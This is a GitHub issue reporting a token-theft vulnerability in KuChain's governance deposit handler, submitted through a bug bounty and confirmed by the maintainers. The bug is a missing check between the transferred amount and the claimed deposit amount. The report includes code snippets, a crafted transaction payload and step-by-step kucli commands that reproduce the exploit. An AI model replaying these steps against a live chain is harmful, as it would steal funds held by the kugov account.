Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Malicious user can steal token from kugov by deposit in gov module. #17

Open
ghost opened this issue Aug 5, 2020 · 1 comment · Fixed by KuChainNetwork/kratos#24
Open
Labels
bug Something isn't working

Comments

@ghost
Copy link

ghost commented Aug 5, 2020

Describe The Bug
there is missing sanity check of amount between KuMsg and msgData in gov module.
malicious users will steal token from kugov account.

**Code Snippets **

// kuchain/chain/msg/handler.go L#57
func onHandlerKuMsg(ctx Context, k AssetTransfer, msg KuTransfMsg) error {
        ...
	if err := k.Transfer(ctx.Context(), from, to, amount); err != nil {
		return err
	}
        ...
}
// kuchain/x/gov/keeper/deposit.go L#108
func (keeper Keeper) AddDeposit(ctx sdk.Context, proposalID uint64, depositorAddr AccountID, depositAmount Coins) (bool, error) {
        ...
	// update the governance module's account coins pool
	err := keeper.supplyKeeper.ModuleCoinsToPower(ctx, types.ModuleName, depositAmount)
	if err != nil {
		return false, err
	}
        ...
}

Input/Output

  1. input: {"type":"kuchain/Tx","value":{"msg":[{"type":"kuchain/kuMsgDeposit","value":{"KuMsg":{"auth":["kuchain17kwf5rhy9s7s8mjr5aq8u5drhy0an34yrwx3ve"],"from":"kuchain","to":"kugov","amount":[{"denom":"kuchain/sys","amount":"10"}],"router":"kugov","action":"deposit","data":"MZusx9EIARITChEBAQctUMgEk4AAAAAAAAAAABoUCgtrdWNoYWluL3N5cxIFMTAwMDA="}}}],"fee":{"amount":[{"denom":"kuchain/sys","amount":"2000"}],"gas":"200000","payer":"kuchain"},"signatures":null,"memo":""}}
  2. output: tx response

To Reproduce
Steps to reproduce the behavior:

  1. send coins to kugov by test
    kucli tx asset transfer test kugov 10000000000kuchain/sys --from test --chain-id=testing
  2. query kugov kucli query asset coins kugov
  3. construct proposal
    kucli tx kugov submit-proposal kuchain --title="Test Proposal" --description="My awesome proposal" --type="Text" --deposit="100000kuchain/sys" --from kuchain --chain-id=testing
  4. generate deposit transaction
    kucli tx kugov deposit kuchain 1 1000000kuchain/sys --from=kuchain17kwf5rhy9s7s8mjr5aq8u5drhy0an34yrwx3ve --chain-id=testing --generate-only=true > tx.json
  5. decrease KuMsg's amount (e.g 10) in tx.json
    image
  6. sign and broadcast msg by 'kuchain'
    kucli tx sign tx.json --from=kuchain --chain-id=testing > broadcast.json
    kucli tx broadcast broadcast.json

Expected Behavior
should failed, because the KuMsg's amount is not equal to KuMsg's deposit amount.

Screenshots

image

user kuchain just spent 10kuchain/sys for depositing 1000000kuchain/sys in proposal 1. and when proposal pass, 1000000kuchain/sys will refund to user kuchain.
In short, when find account kugov have some tokens,
kucli query asset coins kugov
it can be stolen by malicious user.

Desktop

  • OS: [macOS Mojave 10.14.6]

**Additional Context **

  1. delegate tokens work flow: normal account transfer to account kustaking by function Transfer, and then account kustaking transfer to module account kubondedpool or kunotbondedpool by function DelegateCoinsFromAccountToModule.
  2. deposit tokens work flow: normal account transfer to account kugov by function Transfer, and then account kugov transfer to module account kugov by function ModuleCoinsToPower.
  3. delegate tokens won't reproduce the behavior above, cause it called function RequireTransfer, but handleMsgDeposit not
// x/staking/handler.go
func handleMsgDelegate(ctx chainTypes.Context, msg types.MsgDelegate, k keeper.Keeper) (*sdk.Result, error) {
        ...
	if err := ctx.RequireTransfer(types.ModuleAccountID, chainTypes.Coins{msg.Amount}); err != nil {
		return nil, sdkerrors.Wrapf(err, "msg delegate required transfer no enough")
	}

        if msg.Amount.Denom != k.BondDenom(ctx.Context()) {
		return nil, ErrBadDenom
	}

	// NOTE: source funds are always unbonded
	_, err := k.Delegate(ctx.Context(), msg.DelegatorAccount, msg.Amount.Amount, stakingexport.Unbonded, validator, true)
	if err != nil {
		return nil, err
	}
        ...

}
// x/gov/handler.go
func handleMsgDeposit(ctx sdk.Context, keeper Keeper, msg MsgDeposit) (*sdk.Result, error) {
	votingStarted, err := keeper.AddDeposit(ctx, msg.ProposalID, msg.Depositor, msg.Amount)
	if err != nil {
		return nil, err
	}
        ...

}
  1. the situation of account kugov has token: someone send token directly to kugov,Intentionally or unintentionally.

As long as you find that account kugov has token, you can get it at a relatively small cost

Contact Information
Email - zhouhaw@gmail.com

@Pisces-Anjou
Copy link
Contributor

Hi

Thanks for your submission.
We have tested the issue you mentioned and did reproduce it.
This is a valid vulnerability. After evaluation, this vulnerability has been graded as P1.
Please pay attention to the announcement and your email to get your rewards.
Thanks for your attention and contribution. Please keep trying and help us improve our chain.

Regards
KuChain Team

@Pisces-Anjou Pisces-Anjou added the bug Something isn't working label Aug 5, 2020
@cain42 cain42 reopened this Aug 5, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants